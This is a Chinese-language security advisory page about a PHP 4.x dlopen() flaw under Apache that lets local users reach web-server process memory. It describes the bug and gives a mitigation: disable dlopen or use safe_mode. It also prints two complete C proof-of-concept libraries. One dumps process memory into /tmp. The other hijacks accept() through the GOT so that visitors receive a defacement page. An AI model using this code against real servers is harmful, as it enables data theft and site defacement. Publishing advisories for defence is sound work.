您所在的位置: 首页 > 网络安全 > 漏洞补丁 > Linux >

PHP DLOpen任意Web服务内存泄露漏洞

http://netsecurity.51cto.com  2005-08-10 10:35    51CTO.COM  我要评论(0)

信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

设计错误

攻击类型:

本地越权访问

发布日期:

2003-08-13

更新日期:

2003-08-19

受影响系统:

PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1
PHP PHP 4.0

安全系统:

漏洞报告人:

Andrew Griffiths (andrewg@tasmail.com

漏洞描述:

BUGTRAQ  ID: 8405

PHP是一款广泛使用的脚本语言解析系统,可以方便的进行WEB开发,能嵌入到HTML中使用。

当与Apache Web服务器结合使用时PHP的dlopen函数存在问题,本地攻击者可以利用这个漏洞未授权访问敏感进程的内存信息。

如果用户可以在PHP中使用dlopen()函数,可以对Apache或者其他Web服务的内存信息进行处理,如dump进程内存到/tmp目录中,造成敏感信息泄露。

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andrew Griffiths (andrewg@tasmail.com)提供了如下测试方法:

/*
* http://felinemenace.org/ - Local PHP fun stuff - andrewg
* Under linux, this will dump the processes memory into /tmp. Its useful for
* several things.
*/

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd=0;

void trace(char *string)
{
    char buf[32];
    
    if(bd_fd == 0) {
        sprintf(buf, "/tmp/tracez.%d", getpid());
        bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
        if(bd_fd == -1) {
            system("echo fscking damnit. unable to open file > /tmp/trace");
            exit(EXIT_FAILURE);
        }
    }
    write(bd_fd, string, strlen(string));
}

void _init()
{
    char cmd[1024], cmd2[1024];
    int fd;
    unsigned int start, stop;
    FILE *f;
    
    sprintf(cmd, "Starting up: pid %d\n", getpid());
    system("cat /proc/$PPID/maps > /tmp/t");
    trace(cmd);
    
    f = fopen("/proc/self/maps", "r");
    while(fgets(cmd2, sizeof(cmd2)-1, f)) {
        trace("read: ");
        trace(cmd2);
        sscanf(cmd2,"%08x-%08x \n", &start, &stop);
        sprintf(cmd, "\nStart: %p, Stop: %p\n", start, stop);
        trace(cmd);
        sprintf(cmd, "/tmp/memdump.%p", start);
        trace("saving data to ");
        trace(cmd);
        trace("\n");
        if((fd = open(cmd, O_WRONLY|O_CREAT|O_TRUNC, 0777)) < 0) {
            trace("Unable to open file.\n");
        } else {
            write(fd, start, stop - start);
            close(fd);
        }
    }

    fclose(f);
    
    trace("\n--> should be done now\n");
    
}

void _fini()
{
    close(bd_fd);
}

=======================================================================

/*
* http://felinemenace.org - local PHP fun stuff ;) by Andrew Griffiths.
* This causes "infected" apache child processes to return a "defaced" page upon
* connection. This won't work on apache 2.x due to how it handles return codes
* from accept. oh well ;)
*/

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd = 0;
int (*real_accept)(int fd, struct sockaddr *sin, socklen_t *addrlen);
int bd_init=0;
int *f;

extern int errno;

char content[] =
"HTTP/1.1 200 OK\n"
"Date: Mon, 26 May 2003 03:29:44 GMT\n"
"Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26\n"
"Connection: close\n"
"Content-Type: text/html; charset=iso-8859-1\n\n\n"

"<HTML><HEAD><TITLE>pwned!</TITLE></HEAD><BODY>woo</BODY></HTML>";

void trace(char *string)
{
    char buf[32];
    
    if(bd_fd == 0) {
        sprintf(buf, "/tmp/tracez.%d", getpid());
        bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
        if(bd_fd == -1) {
            system("echo fscking damnit. unable to open file > /tmp/trace");
            exit(EXIT_FAILURE);
        }
    }
    write(bd_fd, string, strlen(string));
}

int fake_accept(int fd, struct sockaddr *addr, socklen_t *addrlen)
{
    int client_fd;

    trace("fake_accept()ing it up\n");
    
    client_fd = real_accept(fd, addr, addrlen);
    if(client_fd <= 0) return client_fd;

    write(client_fd, content, strlen(content));

    close(client_fd);

    errno = EINTR;
    return -1;
}

#ifndef RTLD_NODELETE
#define RTLD_NODELETE   0x01000 /* bits/dlfcn.h */
#endif

void load_self()
{
    trace("Locking ourselves into the process ...");
    setenv("pwned", "true", 1);
    dlopen("/tmp/libby.so", 0);
    dlopen("/tmp/libby.so", RTLD_NODELETE); /* pwned indeed :) */
    unsetenv("pwned");
    trace("done\n");
}

void _init()
{
    char cmd[1024], cmd2[1024];
    FILE *p;
    

    if(getenv("pwned")) return;
    
    sprintf(cmd, "Starting up: pid %d\n", getpid());
    system("cat /proc/$PPID/maps > /tmp/t");
    trace(cmd);
    
    if(bd_init == 0) {

        load_self();
        
        sprintf(cmd2, "objdump -R /usr/sbin/httpd | grep accept | grep JUMP\n", cmd);
        trace(cmd2);    
        p = popen(cmd2, "r");
        
        fscanf(p, "%08x ", &f);
        memset(cmd, 0, sizeof(cmd)-1);
        sprintf(cmd, "&GOT[accept]: %p\n", f);
        trace(cmd);    
        pclose(p);
        
        real_accept = *f;
        sprintf(cmd, "GOT[accept]: %p\n", real_accept);    
        trace(cmd);
        *f = fake_accept;
        sprintf(cmd, "now: GOT[accept]: %p\n", *f);
        trace(cmd);

        bd_init++;
    }
    
}

void _fini()
{
    *f = real_accept;
    trace("ack, closing!!\n");
    close(bd_fd);
}

解决方法:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php.ini配置文件中使用disable_function参数关闭dlopen功能,或者在php.ini配置文件中使用safe_mode。

厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

PHP开发基础入门
企业级Web2.0 你准备好了么?
WebSphere 实现SOA的利器
Web安全云时代
企业Web安全威胁在线评估系统
 
 验证码: (点击刷新验证码)   匿名发表
  • .NET程序员面试指南

  • 作者:朱毅
  • 本书着重针对.NET技术职位的应聘者,在.NET框架各个技术类别中,选取最常出现在.NET面试中的问题,进行分析和解答,同时解释和..
Copyright©2005-2008 51CTO.COM 版权所有